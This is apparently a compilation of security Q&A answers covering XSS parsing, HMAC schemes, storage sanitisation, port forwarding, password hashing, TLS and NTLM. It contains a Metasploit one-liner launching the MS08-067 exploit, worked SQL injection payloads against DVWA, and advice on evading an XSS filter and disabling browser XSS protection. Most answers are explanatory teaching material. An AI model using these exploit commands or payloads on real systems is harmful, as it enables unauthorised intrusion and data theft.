The HTML parser of your web browser parses code as a state machine. To understand what your options are, have a look at the HTML syntax specification and the possible state transitions.

Your injection point happens to be in the data state (which is the "default" state, outside of any tags):

8.2.4.1 Data state

Consume the next input character:

U+0026 AMPERSAND (&)
    Switch to the character reference in data state.
"<" (U+003C)
    Switch to the tag open state.
U+0000 NULL
    Parse error. Emit the current input character as a character token.
EOF
    Emit an end-of-file token.
Anything else
    Emit the current input character as a character token.

For XSS, the only interesting continuation is to open a tag with < and switch to the tag open state:

8.2.4.8 Tag open state

Consume the next input character:

"!" (U+0021)
    Switch to the markup declaration open state.
"/" (U+002F)
    Switch to the end tag open state.
Uppercase ASCII letter
    Create a new start tag token, set its tag name to the lowercase version of the current input character (add 0x0020 to the character's code point), then switch to the tag name state. (Don't emit the token yet; further details will be filled in before it is emitted.)
Lowercase ASCII letter
    Create a new start tag token, set its tag name to the current input character, then switch to the tag name state. (Don't emit the token yet; further details will be filled in before it is emitted.)
"?" (U+003F)
    Parse error. Switch to the bogus comment state.
Anything else
    Parse error. Switch to the data state. Emit a U+003C LESS-THAN SIGN character token. Reconsume the current input character.

Here your options are a-z, A-Z, !,/ and ?.
You have not been clear about whether special characters are blacklisted, too. But even if they are not, you're out of luck:

From <! you only get to a comment (<!--), a doctype declaration (<!DOCTYPE) or a CDATA section (<![CDATA). These are not real DOM nodes and hence they are useless for XSS. (For instance, you wouldn't be able to attach an event handler to a comment.)
<? might be interesting in XML, but is treated as a comment in HTML.
</ will only let you close tags.

You may have noticed that the specification also doesn't tolerate any padding characters, such as spaces, tabs, newlines or control characters.

If you want to dig a little deeper and verify the implementation, you can always look into the source code. For example, this extract is part of the HTML5 tokenizer used in Mozilla Firefox. As you can see, the tag open state adheres closely to the specification:

case NS_HTML5TOKENIZER_TAG_OPEN: {
  for (; ; ) {
    if (++pos == endPos) {
      NS_HTML5_BREAK(stateloop);
    }
    c = checkChar(buf, pos);
    if (c >= 'A' && c <= 'Z') {
      endTag = false;
      clearStrBufAndAppend((char16_t) (c + 0x20));
      state = P::transition(mViewSource, NS_HTML5TOKENIZER_TAG_NAME, reconsume, pos);
      NS_HTML5_BREAK(tagopenloop);
    } else if (c >= 'a' && c <= 'z') {
      endTag = false;
      clearStrBufAndAppend(c);
      state = P::transition(mViewSource, NS_HTML5TOKENIZER_TAG_NAME, reconsume, pos);
      NS_HTML5_BREAK(tagopenloop);
    }
    switch(c) {
      case '!': {
        state = P::transition(mViewSource, NS_HTML5TOKENIZER_MARKUP_DECLARATION_OPEN, reconsume, pos);
        NS_HTML5_CONTINUE(stateloop);
      }
      case '/': {
        state = P::transition(mViewSource, NS_HTML5TOKENIZER_CLOSE_TAG_OPEN, reconsume, pos);
        NS_HTML5_CONTINUE(stateloop);
      }
      case '\?': {
        if (viewingXmlSource) {
          state = P::transition(mViewSource, NS_HTML5TOKENIZER_PROCESSING_INSTRUCTION, reconsume, pos);
          NS_HTML5_CONTINUE(stateloop);
        }
        if (P::reportErrors) {
          errProcessingInstruction();
        }
        clearStrBufAndAppend(c);
        state = P::transition(mViewSource, NS_HTML5TOKENIZER_BOGUS_COMMENT, reconsume, pos);
        NS_HTML5_CONTINUE(stateloop);
      }
      case '>': {
        if (P::reportErrors) {
          errLtGt();
        }
        tokenHandler->characters(nsHtml5Tokenizer::LT_GT, 0, 2);
        cstart = pos + 1;
        state = P::transition(mViewSource, NS_HTML5TOKENIZER_DATA, reconsume, pos);
        NS_HTML5_CONTINUE(stateloop);
      }
      default: {
        if (P::reportErrors) {
          errBadCharAfterLt(c);
        }
        tokenHandler->characters(nsHtml5Tokenizer::LT_GT, 0, 1);
        cstart = pos;
        reconsume = true;
        state = P::transition(mViewSource, NS_HTML5TOKENIZER_DATA, reconsume, pos);
        NS_HTML5_CONTINUE(stateloop);
      }
    }
  }
  tagopenloop_end: ;
}

So, the XSS filter you describe seems to be safe per the HTML specification. It's very thin ice, tough. You never know, if some vendor comes up with a quirky implementation that could still enable an exploit. (Microsoft, I'm looking at you!)

The correct XSS protection is therefore to simply escape the brackets.


When a Director sends an Agent with id (A) on a mission, he generates a timestamp (B) and an HMAC of A and B (C), using his secret key.

He gives B, and C to the Agent. C becomes the secret key of the Agent.

When an Agent sends a message, he calculates an HMAC of it (D) using C and includes it in the message. He also includes A and B. C is of course secret and not transmitted.

When a Director receives the message, he verifies that the timestamp B is less than 6 months old. Then he recalculates C by taking an HMAC (using his own secret) of A and B. He then uses C to calculate an HMAC of the message, and verify that it matches D.


To quote the ISM (Australia's military standards for cyber security).

  Security Control: 0359; In flash memory media, a technique known as wear levelling ensures that writes are distributed evenly across each
  memory block. This feature necessitates flash memory being overwritten with a random pattern twice as this helps
  ensure that all memory blocks are overwritten.

This means that if you select a secure delete function such as DoD 5220.22M, you will need to run it twice (note that this method only writes randomly through one pass). If you do this it will mean that your data should be safe from the average attacker, however if your USB contains the Colonel's Secret Recipe, or evidence of you committing a serious crime, refer again to the ISM:

  Security Control: 0360; Following sanitisation, highly classified non-volatile flash memory media retains its classification

In other words Destroy it with fire and spread its ashes to the 4 corners of the globe.

If you don't have anything as valuable as I stated above don't listen to the paranoid people on here about how you can never sanitse it, as frankly no one will have the resources to retrieve the data, unless it is a Nation State or a Global Conglomerate.

You may also be interested in NIST SP800-88 Which is American Guidelines for Sanitisation, although I like the ISM as it is much more succinct.


When to send exe file to target system in order to exploit via metasploit

BackGround info (Because metasploit is my jam) :
Most up to date systems are not really susceptible to remote attacks (Like you imply). The remote access payload you specified is used on windows XP for example.
The reason msfvenom and other things are used, in conjunction with the exe is because it can be used to try and evade Anti-virus and other things along the lines. (However encoding is used to get rid of bad chars not make something invisible to anti-virus.)

Answer:
Yes you are able to directly exploit the system, however you don't need to specify the payload. Upon successful exploitation with ms08 a meterpreter session will be opened.

Example of Exploit: msfconsole -x "use exploit/windows/smb/ms08_067_netapi;  set rhost <IP>; exploit"

Here is a useful link for this specific payload.

(if this is what you meant by previously)


To answer your question bluntly, "No, it would not make you more secure." However, your question shows that you are relatively new to networking and security, so I would like to expand my answer a bit, to give you some context for it.

  What is a port?

The internet works based on IP addresses. A typical IPv4 address will look something like 173.194.222.139. This address represents one computer1 somewhere on the internet. In order to communicate with a specific application on that computer (e.g. a Minecraft server), that application listens to a specific port, such as 25565.

A packet sent to a computer has to contain it's address, but also the port which corresponds to the application that is supposed to handle the packet. This is done so that a computer can have many different applications running at the same time, with each listening to different port. That means your computer could be running a Minecraft server on port 25565, an Unreal Tournament 2004 server on port 7777 and a web server on port 80 and 443.

  What is port forwarding?

If you are at home and have multiple devices at hand, you can search for your external IP address and you will see that all of them likely have the same address. How is this possible, if above I said each address corresponds to one computer?

The answer is NAT. I won't go into detail, but think of it like a hotel lobby. The hotel has one address, but many rooms internally. Mails sent from the hotel go to the lobby, which then send the mail out. The sender is the hotel, and the recipient sees that it comes from the hotel. The recipient will write a reply to the hotel, and the hotel lobby will give the mail to the person who initially sent the mail.

The disadvantage is that this only works if the person in the hotel writes first. If someone would like to send a mail to someone living in this hotel, the hotel wouldn't know what to do and just throws the letter away.

This is where port forwarding comes into play. It essentially means "If traffic comes to this port, I will forward it to this internal machine on that port". In terms of our mail analogy, it's akin to writing "To: Awesome Hotel, Room 1337". The lobby will know where to forward that to.

Concretely, if we set up the gateway computer (the hotel lobby in our analogy) to forward all traffic to port 25565 to your internal computer running the Minecraft server on port 25565, then people connecting to your external IP on that port will actually be forwarded to your internal computer on that port.

  Is port forwarding unsafe?

It's a necessary evil. By forwarding one port to your internal computer, it means everybody on the internet can attempt to connect to that port. This is necessary, as otherwise nobody could play Minecraft on your server.

The problem is that if the server has any security vulnerabilities, be it in the base software, a mod you installed, etc, then this directly affects your computer. It's a risk in theory, but in practice, I would not worry too much about it.

  Can a VPN help me?

I'm sure you've heard all the YouTubers talk about how a VPN can help you be safe from hackers and all that nonsense. It's just marketing talk, and very dishonest. VPN's do provide security, in specific scenarios, against specific attacks. Claiming they solve all problems and you're just 7,99€ per month away from perfect security is dishonest.

The only scenario in which a VPN would help you is if you ran a VPN gateway in your network and have the Minecraft server accessible only to those with access to your VPN. The problem is, that this is way more difficult to set up, and even more difficult to set up in a secure manner. Just forwarding a port to your Minecraft server is way less likely to get you into any troubles.

My own Minecraft server also runs on my local PC and just has a forwarded port, so it's certainly not an extremely insecure way to do it.

1: Yes, even if it's NAT'ed it's still one box that handles all the NAT.


Is it possible to investigate if a pendrive has been connected to a specific PC?

You could try USBDeview utility.
http://www.nirsoft.net/utils/usb_devices_view.html
Traces might be left on the PC, but not the device.


I think it's required by different security/governance standard, like PCI, NIST, and SOX.

So you if you store your passwords in the clear you may not pass these certifications and as a results you may end up in court.


does using a long delimiter multiple times degrade encryption security?

You are supplying what is known as a "crib". If you use a long sequence, especially at the beginning, you are losing some (albeit very little) security.

You can easily mitigate the problem by using a random string, as long as you are able to recover it. For example you might use a 20-byte random string. You know that the first 20 bytes are the delimiter, and look for that in the rest of the string. This still supplies a check for a brute force attacker to determine whether he has found the correct decryption, but the brute force itself should be unwieldy enough that this little help is of almost no use. He still has to decrypt a sizeable portion of the ciphertext before running the test. Compared to only decrypting the crib section, it's an improvement.

You can also use a short, escaped delimiter. Instead of "betting" (with astronomical chances in your favour) that the delimiter will never come up "passively" in the text, you actively endeavour for it to not come up by replacing it or escaping it. For example you can escape all "\" and "|", then decide that a single "|" will represent a delimiter. The chances of a unescaped "|" in a incorrectly decoded ciphertext are astronomical, which makes cribbing worthless for an attacker. At the same time, your escaping naked "|"'s guarantees you that no naked "|"'s will occur in your plaintext. On the other hand this requires one additional stage:

 plain|text\nand --> plain\|text\\nand|another text --> ....
 another text

If you choose a delimiting character that's usually -escaped, such as maybe $, you can do this with several standard libraries and commands in various languages.

Updates

As for security: the random delimiter at the beginning does not decrease security by being at the beginning: since it's random, it cannot be used as a crib. The decrease in security comes from the fact that the delimiter will occur several times in the decrypted text, thereby supplying a confirmation that it is indeed the correctly decrypted text. (If the delimiter is short, chances of it occurring naturally in a incorrect text are not negligible, therefore its occurrence is not a confirmation. And of course its non-occurence can't be a confirmation either). The delimiter has to occur at the beginning because that's the only way you have (the delimiter being random...) of knowing yourself what the delimiter is. Every ciphertext will have its own.

Space considerations

TL;DR unless you have many chunks and/or very short, delimiters are probably the way to go to save space.

In general, you will have enough knowledge of the incoming data to choose an infrequent character as delimiter and as escape character, or at the very least, you will rarely have "pathological" plaintexts. To squeeze to the utmost the data, you can in theory write a function that will (a) determine the two less often used characters in any given plaintext, and (b) use them as delimiter and escape. At most, these characters will occur 3 times every 256 characters. All of them need escaping and will make 256 characters grow to 259, which is a 1.2% increase in size. Also, you will need to store these two characters e.g. at the beginning in order to know how to unescape the string. So we have a fixed overhead of two bytes, a size-overhead of 1.2% and a delimiter overhead of 1:1; if L is the total length of the message and N is the number of chunks, the plaintext thus treated will grow to be 1.012*L+N+2.

Using a delimiter and an unescaped plaintext of length L bytes, the probability of a sequence of length D occurring at position x is (1/256)^D and there are (L-D+1) possible values for x. So the probability of D not occurring anywhere is 1-(1-(1/(256^D)))^(L-D+1).

(Or =(1-POWER((1-POWER(1/256,$D$1)),A2-$D$1+1))*1000000 if you want to get it into a Google spreadsheet and calculate collision probability in millionths).

For a sequence of chunks 16K in size, to be sure to have a Pcoll < 1/million I need at least a delimiter length of 5 (which is overkill; but 4 is too short, giving a Pcoll of around 4/1000000).

So four chunks of 4K each would require 1.012*16384+4+2 = 16586 bytes with escaping and 16384+4*5 without, i.e., delimiters allow a saving of about 182 bytes (with a probability of the delimiter occurring by chance of less than one in a million), and 178 bytes if you use a 6-character delimiter (chances of less than one in a billion, or one thousandth as before).

We hit parity when 1.012*16384+N+2 = 16384+N*5, i.e. when you have more than 50 chunks (or 38 chunks if you use six-char delimiters).

PHP

Working in PHP I think you might find it advantageous a sequence like:

serialize (you obtain a string with all your chunks)
gzcompress (you save space, and get a maximum-entropy block of data)
encrypt

Bruteforcing the first AES block will allow verifying whether the decryption key is correct (the beginning of the gzcompressed serialized object may act as a crib), but doing this in the first place (and weeding out the false positives) is still computationally unfeasible. It would still be cheaper to beat the key out of you. And the implementation and maintainability advantages are worthy of the risk.


What are the risk tradeoffs of all-in-one "smart" IDs vs. using a separate hardware authenticator?

WRT to smart card being used as an authentication factor for computer access, the private key on the smart card can be protected by a PIN/password.  So the smart card auth can also provide the additional factor of "what you know" in addition to "what you have."

For most users, the risks are acceptable when compared to the cost of managing provisioning/distribution and operation of multiple sets of physical authentication tokens.  I've seen people in different organizations and consultants carry around a chain of smart cards and usb tokens for the various organizations they are consulting for.  Granted, offering a service provider model for identity management is still a while away, there's a trend to offer simpler auth models (i.e. outsourced second factor auth, openid, hoth, etc).

For higher risk users or locations, I often see additional factors for authentication.  For example, three factor is fairly common (biometric, card, pin, weight).  In addition, I've worked with organizations where I only need to present a card + biometric in a mantrap during business hours but after business hours, I also need to use an additional factor.  In addition, high risk users usually are subject to additional segregation of auth keys versus signing keys.  So, there's a second device used to contain a non-repudiated signing key to authorize certain transactions.

Organizations and users with very sensitive information leverage additional controls that sacrifice simplicity and speed for security.  Even a simple mantrap takes longer to auth a user than turnstyle.

With that said, organizations that consolidate all functions are usually larger in size with multiple physical locations.  Such organizations can realize cost savings by consolidating into one vendor, one card, etc.  Though I'e seen more small-medium organizations go the route of consolidated access control, they are few and far between (password's are still common and by far, cheaper than implementing hardware auth).

If anything, security 101 includes a long blurb and discussion on defense-in-depth.  Consolidating functions don't necessarily open up more risk as long as risk is identified and managed.


Why did I have to wave my hand in front of my ID card?

Movement that blocks the view of the item under inspection helps to defeat someone trying to use an overlay image on the video as a replacement for the actual item.

For instance, I could take a short video of your ID (that shows the security features) and overlay that on the live video instead of my actual ID. But by waving my hand in front, then the remote viewer can see that it is not a video overlay.

A real threat? Yes. Just look at the fake videos that we have seen where someone can make it look like someone is saying something that they never did. The technology exists and is in use.

A credible threat? Questionable, but the mitigation is no cost, easy for all involved, and simple. So, the cost of mitigation is negligible.

That means that it is not "security theatre". It actually treats a risk. But I might agree that at this point in time, it might be borderline. Next year, I might have to edit this answer.


Did someone connect to MySQL from outside?

To enable log:

In /etc/my.cnf:

general_log_file        = /var/log/mysql/mysql.log
general_log             = 1

There are botnets scanning for ports 3306, so if you didn't had a password for root account then definitely yes.

Such access is not normally logged because on servers with PHP there's usually one new connection per each request, so logging it is a bit of overhead.

Make sure you have root password setup. You can use MySQL Workbench to inspect users. Check if new connections are accepted only from localhost (e.g. users permitted are only from localhost - 127.0.0.1).

On the side note, if you use MySQL for development of you own application you may be better with upgrading it to newer version. It is because MySQL as part of OS is VERY old because of old applications compability. Newer versions allow for creation of different class of apps, especially if it comes to reporting and documents. You can add new repo and do apt-get update. In Centos7 for example there's MariaDB, and in latest Fedora there's version 10.1 by default.


Why should password hash verification be time constant?

Assuming neither of the hashes are secret and the hashes are secure (which SHA-256 is), there is no reason to check the hash in constant time. In fact, comparing hashes is one of the well-known alternatives to verifying passwords within a constant time routine. I can't say what reason the developers would give for doing this, but it is not technically necessary to make it constant time. Most likely, they were just being cautious. Non-constant time code in a cryptographic library makes auditors anxious.

More information about the theoretical weaknesses is discussed in an answer on the Cryptography site. It explains how, with a significant amount of queries, it can be possible to discover the first several bytes of the hash, which makes it possible to perform an offline computation to discard candidate passwords that obviously wouldn't match (their hash doesn't match the first few discovered bytes of the real hash) and avoid sending them to the password checking service, and why this is unlikely to be a real issue.


Could Google read Map Api InfoWindow html content?

If you include any third party script in your page, the authors could potentially read any data on the page. That applies to Google Maps, any third party library hosts, advertising providers...

If the data is sufficiently high risk to be worried about Google stealing it, don't use any third party scripts.


What is the benefit of using lastpass authenticator on android compared to other similar applications?

I am copying here the answer I got on their blog:

  At the moment, the main advantage is being able to log into your LastPass account with one tap instead of having to fire up Google Authenticator (or another authenticator app) and type in a 6-digit code. Also the ability to get codes by SMS, which Google Authenticator does not support. There will be additional features rolling out in future releases.

It is actually great, I guess the OTP transits directly from your phone over the network, which is faster than typing it. Not so great when your phone does not have internet, but then you can fall back to typing the code.


Preventing body onload xss that is injected as a request parameter

so it could be that you've got an instance of a known rails bug as there was recently an XSS issue in internationalization.  CVE-2013-4991

In the first instance, if you can, I'd recommend upgrading to a patched version or applying the workaround in the link above.


How exactly works this SQL injection example related to the DVWA application?

So there are two things going on here.  I'll list and then explain:

In this case the value being injected is inside single quotes in the query, a fact which is easy to miss but is relevant for all your example payloads.
The application is suppressing errors.  As a result if a payload results in an SQL syntax error, you will get the "No results" message.

Let's run through your payloads keeping those two facts in mind:
1 OR 1=1
Here, the quotes around the value are important.  You actually end up with this query:
SELECT first_name, last_name FROM users WHERE user_id = '1 OR 1=1'
Which, contrary to what you said, doesn't actually match anything. Instead, it will only ever match the user with id=1.  If there is no such user it will return no matches.  The reason is because the whole thing is in single quotes, so the OR 1=1 is part of what it is searching for.  If anything therefore you would expect it to match nothing, since there is no user with an id 1 OR 1=1.  And yet it does match.  This is almost certainly because the user_id field is an integer, and MySQL will helpfully cast id='1 OR 1=1' into an integer, resulting in it throwing away the  OR 1=1 part and actually searching for id=1, which matches.
You can confirm that casting is giving you a false positive by trying out this query: ASDF OR 1=1 which you will find gives you no matches, showing that your current payload is not actually injecting anything.
To get the OR 1=1 out of the single quotes you first need to close the single quotes, so you would want something like: 1' OR 1=1.  Except that won't work either because the lone single quote at the end of the original query will cause an SQL injection error (which will result in no matches per #2), so you actually have to inject 1' OR 1=1--.  You should be able to test that this injection is working properly by using a payload like this: ASDF' OR 1=1--.  That results in this query:
SELECT first_name, last_name FROM users WHERE user_id = 'ASDF' OR 1=1--'
Which will match anything and therefore return results even though there are obviously no users with an id of ASDF.
1'
It's important to see the exact query this builds:
SELECT first_name, last_name FROM users WHERE user_id = '1''
You tried to close the quotes but the query itself already had an opening and closing quotes, so your quote injection caused an SQL syntax error (notice how it ends in two single quotes).  Per #2 above, an SQL syntax error will cause it to return no matches and not broadcast the SQL error.
Summary
All that to say: you are very close but there are some easy-to-miss details.  If it helps, take your injection payload, build the actual query yourself, and run that in SQL to see what happens.  In cases like this where you have code access it is even easier to figure out what is happening, because you can adjust the application to print out the query is running.  This makes it very easy to run it in MySQL and see exactly what is happening, especially in cases like this where the application suppresses errors.  Getting used to these sorts of things helps in cases in the future where you don't have such control.


nmap detects opened port but can't connect with telnet

It's possible that the device is only allowing connections from specified IP address ranges(ex:192.168.1.0/24 for it's local subnet). So while scanning it may show the port open and telnet running, unless it sees your IP address in that range, your connection will be refused.


Aviation security - Lessons to learn from PlaneSploit

@ewanm89 is entirely correct. Securing the connection between ground control and a plane should be no different from securing any regular connection.

The main issue is that the protocol designers are relying on security by obscurity. Obscurity through the relatively unknown protocol being used. Obscurity through what used to be relatively difficult to obtain equipment. Obscurity through the fact that having enough resources to mount a feasible attack used to be impractical.

Of course, this is no longer the case. In the era of state sponsored cyber attacks (God, I hate that term), resources are no longer an issue. Reverse engineers have taken apart the protocol being used. Obscurity is no longer enough.

The proper solution is to build proper encryption and authentication measures into the protocol being used. This isn't something novel, the internet has been using such protocols for more than a decade. (See: SSL/TLS). This will prevent attackers from simply grabbing the data being sent from the air, modifying it and sending it.

This sort of attacks isn't limited to aviation systems. There have been plenty of similar ones on SCADA systems as well.


Does knowing part of the key make encryption weaker?

"Does the placement of the known characters make any difference?"

Yes, it does make a difference and a rather significant difference. When it comes to information, the more the attacker knows the faster he can break it, as simple as that.

If the attacker knows where a b c goes in your key, then again it is as good as,

[][][][][] (5 chars, 0 known)

is the same as,

[]a[]b[]c[][]
[]abc[][][][]
abc[][][][][]

If you want a key of length 8 and 3 chars are to be considered known values, then the true length of the key/secret is simply 5.

If an attacker knows the value at position X, position Y, position Z, the attacker can include that in brute-forcing the key. You basically shortened the time taken to obtain the full key. You removed a nice chunk of combinations for him. You can have a key with 10 digits of random numbers. If you add a string of numbers like 1234567890 behind it, so it becomes XXXXXXXXXX1234567890, its a 20 digit key now, it is useless. It's as good as 10. Another example > X1X2X3X4X5X6X7X8X9X, if the attacker knows the position of the known values, again it's as good as a key length of 10.

Also, what is the relation of the revealed values to the key? Like if a b c is revealed & a b c won't appear again, then that is a huge clue to be handing out, again shortening the time it takes to brute-force it and undermining the integrity/overall effectiveness of the key.

Let me reiterate, (5 known & 3 known) = (5 known) both has the same level of integrity provided that the values are not related to each other


Is there a common standard for evaluating the Security of an IoT device?

When people think of Internet of Things. Most think of various devices with a myriad build of different operating systems and functions.

However it's really not that complex if you look at it as a whole rather than from each individual pieces. Depending on your choice of operating systems. Most have their own security guide and the applications are in fact not much different to our servers and workstations.

Hardening and Security Implementation

You can consider referencing to the following guides but not limited to; for securing your devices.

OWASP IOT Project

IOT Security Foundation

CIS IOT Guide

Windows 10 IOT Guide

Evaluating IOT Security

As for testing I would say starting with this as a guide would help

Owasp IOT testing methodology

Evaluating Software Security

As for the security evaluation of the software, in your case computer-vision/machine-learning. You can additionally adopt evaluation of security on a coding level and configurations rather than on an iot device specifically.

Here's some reference with regards to software security

Owasp Secure Coding Practice

Microsoft Secure Coding Guidelines


It's all about reducing the overall risk of loss.  A good hash algorithm makes it impossible to reverse the hash value to compute the original text.  However, passwords are very, very short.  By making a guess at a password, the attacker can compare the output of his SHA-256 against the SHA-256 that he finds in the database.  And because passwords are so short, testing many password guesses this way is easy for a computer. For a few thousand dollars you can buy a small supercomputer dedicated to SHA-256 testing (used for bitcoin mining), which enables an attacker to test 16 trillion different password guesses per second.  That is much more effective than trying to break SHA-256.

Hashing passwords is not about trying to prevent the cracking of any one single password.  Web site owners are much more concerned because they have a database of a million users, and when attackers break in, they frequently steal a copy of the database of passwords.  They want to make it hard for the attacker to break all of the passwords in their database.

With the dedicated hardware (or an array of botnet zombies) an attacker can easily break the vast majority of passwords in a typical database where they are only protected by a single iteration of SHA-256.  And breaking passwords on one site enables attackers to take advantage of people who reuse their passwords on multiple sites. This is a precursor to performing Account Take Over (ATO) attacks, where they reuse the stolen passwords to access bank accounts or gift cards, and steal actual money.

To defend against this, a purpose-built password protecting algorithm is built as a time-waster.  For example, PBKDF2 executes a hash algorithm hundreds, thousands, or millions of times, depending on how you configure it.  This increases the amount of work that an attacker needs to do to execute a single test by that large factor.  If you set PBKDF2 to execute a million iterations, that would reduce the effectiveness of the box above to testing only 16 million password guesses per second.  An attacker would only be able to break a millionth of the passwords in the database when compared to cracking a database where they were stored as single SHA-256.  That's the risk reduction.


Do symmetric cryptographic primitives provide both integrity and confidentiality?

AES is an example of a symmetric algorithm. It maps a block of fixed size from one to another block of the same size, also using a fixed key size for both encryption and decryption. To support encryption (or decryption) of multiple blocks, a single operation of the block cipher is used in a mode.

Ciphers like AES in CBC mode indeed do not provide integrity, that is why they are typically used with another MAC construction to achieve integrity and authenticity (for example, HMAC-SHA256). This calculation can be done on either the plaintext (MAC-then-Encrypt/MAC-and-encrypt) or on the ciphertext (Encrypt-then-MAC). (For a comparison between these, see
Should we MAC-then-encrypt or encrypt-then-MAC?)

Such an external construction is not required though with authenticated encryption, in which the cipher mode provides the integrity and authenticity properties. See AEAD: https://tools.ietf.org/html/rfc5116

AES in GCM mode calculates an authentication tag in addition to block encryption/decryption. This tag is appended to the ciphertext and allows for an integrity check which is also dependent on the key. If an attacker changes a single bit of the ciphertext or authentication tag, it can be detected.


Why use the UUID method over traditional ID?

A UUID will not add any specific security when used as an ID in a database. Its main role is to be (reasonably) unique.

Basing the security of a database on the randomness of IDs (supposedly because they are harder to guess than an incremental ID, I guess) is not a good security measure. It will certainly not hurt but the basic mechanisms must be applied first. What is of uttermost importance is the security of the application requesting data from this database (SQL Injection being one of the top concerns)


Ending a javascript block without slash character

Server side:

As a security procedure they encoded the "/" in the "&#47" in order to avoid any directory path traversal or XSS (no luck mate). Try other methods of getting around the "/".

Cheat-sheet: https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Client side:

Your browser is having a sort of XSS protection enabled. Try to disable that protection.


There is a proposal known as BCP38 that has existed for a while (http://www.bcp38.info/index.php/Main_Page) which is based on RFC 2827 (https://tools.ietf.org/html/rfc2827)

The RFC proposes that ISPs block traffic coming into their network with source IPs that are not registered to come from the devices passing the traffic along. There are a lot of details to this, but in short there's a protocol known as Border Gateway Protocol (BGP) which has routers on the edge of an ISPs network broadcast which IP ranges they can route traffic for. When one ISP connects their network to another ISP (known as peering) they share this routing information. Because this information is known and shared, it's easy to detect when traffic contains spoofed IPs because that connected network doesn't advertise that they route traffic for those IPs, hence it can be blocked.

The problem is that ISPs don't generally implement this because (they claim) it costs them too much in resources to perform the extra analysis of the packets to determine whether it's spoofed. This is why it's still possible to spoof IPs. I believe there are some ISPs that do implement but not all do.

Even if ISPs implemented it, you can still spoof IPs as long as they are in the proper IP ranges for which the ISP broadcasts that it can route for. While it's more limited, that range can still be quite large.


compare cipher suites between different OpenSSL Versions

Cipher suites can be enabled or disabled at compile-time, which is why you'd want to be able to run the same command against both versions of OpenSSL: so you can see what was actually compiled into the package. Someone could also have backported certain suites into (or out of) the code before compiling and releasing the packages you have. Given that long version string, you seem to have received OpenSSL from some third-party vendor (CentOS?) who is not providing vanilla OpenSSL, so the official OpenSSL changelogs won't tell you what other changes have been made: you will probably need to contact your vendor for their changelogs.

As a starting point, or if you just care about what could have been compiled in assuming the code was taken directly from OpenSSL without any changes, OpenSSL provides their changelogs by version so you can see a technical list of what was changed in each version (for example, 0.9.8c removed 3 ciphersuites and added 1).


Are there any products/techniques for low-effort DSL sniffing?

Induction taps for the wires directly connected to a Linux-based router with a similar DSL interface and tshark (Wireshark) installed.

Note: Several companies make commercial protocol analyzers (hardware) which also do this (easy but not as cheap).


Can browsers connect HTTPS w/ the NONE cipher?

Is it supported by any browsers for accessing any web-sites over the https:// address scheme?

I think you are referring to TLS_NULL_WITH_NULL_NULL or similar ciphers were no encryption is done. None of the current browsers offers this cipher and I don't think that there will be a reason in the future to offer such more than weak ciphers because you would just get the overhead of TLS without gaining any security.

As for TLS_NULL_WITH_NULL_NULL specifically the RFC 5246 (TLS 1.2) states that is just the initial state and should never be negotiated. There are other ciphers with NULL encryption like TLS_RSA_WITH_NULL_SHA which still offer authentication but since they don't encrypt it is unlikely that you will see these ever offered by the browsers.

For details about the ciphers offered by the various SSL clients see https://www.ssllabs.com/ssltest/clients.html.


There is no use to this. As you know, HTTPS prevents your network administrators (or anyone else in between you and Google's servers for that matter) to see the request (so the URL but also the POST data), unless the admins have monitoring software on your computer or make you use a proxy. If they do, they can also see what you are sending via POST. So I don't see a scenario where POST requests might be useful if you use HTTPS and simply delete your browsing history (you can set the browser to do that automatically when you close it).

It might be a little less obvious in logs or tools when you use POST requests, software might be meant for displaying URLs, but technically there is no difference. If you still want to use POST for some reason, I think you're going to have to use a proxy service for Google.

DuckDuckGo, a search engine focused on providing more privacy than Google, has the option to use POST requests instead. On duckduckgo.com/settings, go to the privacy tab, and there you can set whether the address bar shows your query. DDG has more advantages though, you should give them a try if you are concerned with privacy. There are also some tools for developers, like automatically searching popular programming language's documentation (e.g. /?q=strpos).

But then again, if your pc is bugged, they can see POST requests if they want to. If it's not, then HTTPS suffices.
And I also wouldn't recommend doing things you shouldn't do on other people's network. Sooner or later it'll be found out, and might get you in trouble.


HTTPS verification failed - get certificate information iPad/iPhone

The reason for the error, is that the intermediate certificates aren't supplied in the chain by their webserver.  Basically the SSL certificate was signed by "VeriSign Class 3 Extended Validation SSL SGC CA", but that's an intermediate CA (that was signed by "VeriSign Class 3 Public Primary Certification Authority - G5").  Ideally,  internetbanking.suncorpbank.com.au would chain the certificates together and also return the intermediate certificate.  For example, in firefox going to the site I get:

Other browsers aren't complaining as they are looking up the intermediate certificates.

For an analysis of this website and an explanation of the Chain Issue: Incomplete.   Also see google ios chrome help where they noted this issue.


How is the password prompt going to protect me from ruining my computer?

Prompting you to enter password is necessary to login into root account, enable user with higher rights. This is done just to prevent user from accidental actions like invalid command "rm -rf /". Sitting all the time under the root is not good idea - you really does not need such rights all the time you work. Also, it stops, prevents and decreases malicious stuff impact.

It is a part of Unix security model's philosophy.


In GoldenEye, what does 'strikes deferred' refer to?

According to the developer's repo:

  "Strikes Deferred" variable saying what number of strikes was blocked
  or crashed. In brackets says what number of connection timed out was
  responded (or responded error 500).

You would have to read the code carefully to work this out and it is not obvious or in any of the documentation.


How to check whether NTLM v2 or v1 is used for authentication?

Forms-based authentication over proper, validated TLS is the modern way forward for web application authentication that require non-SSO (Single Sign On) capabilities (e.g., SAML, OpenID, OAuth2, FIDO, et al).

NTLM authentication is only utilized in legacy networks. Microsoft no longer turns it on by default since IIS 7. Microsoft Domains and/or Forests with a Windows Server 2012 R2 functional level do not even support NTLM authentication by default. Thus, its use is contraindicated.

Cleartext authentication, such as via non-SSL/TLS HTTP, will result in compromise of the web app's credentials -- regardless of how strong the NTLM authentication (or other authentication) is, primarily because of Man-in-the Middle (MITM) scenarios, but also for many other credential-collecting reasons (see the net-creds or the PCredz tools).

If you want to see what NTLM looks like on the wire (MITM scenario optional), check out this blog post which states the following:

  The essential difference between NTLM and NTLMv2 is how the response is calculated. NTLM uses MD4 and DES in a weak way which is well known (5 NULL bytes yada yada yada); NTLMv2 uses HMAC-MD5 based on more than just the password and challenge, which is where the “blob” comes in. So that’s covered off the “challenge”, “HMAC-MD5″ and “blob” that’s missing from the John hash I’m having to build up from scratch.

The author then goes on to show an HTTP message with the Wireshark tool.

In some scenarios, I believe it is possible to reverse which exact NTLM protocol is in use by just connecting to a HTTP-NTLM authenticating web server.

As seen in the book, Network Security Assessment, 3rd Edition:

root@kali:~# telnet 192.168.0.10 80
Trying 192.168.0.10...
Connected to 192.168.0.10.
Escape character is '^]'.
GET / HTTP/1.1
Host: iis-server
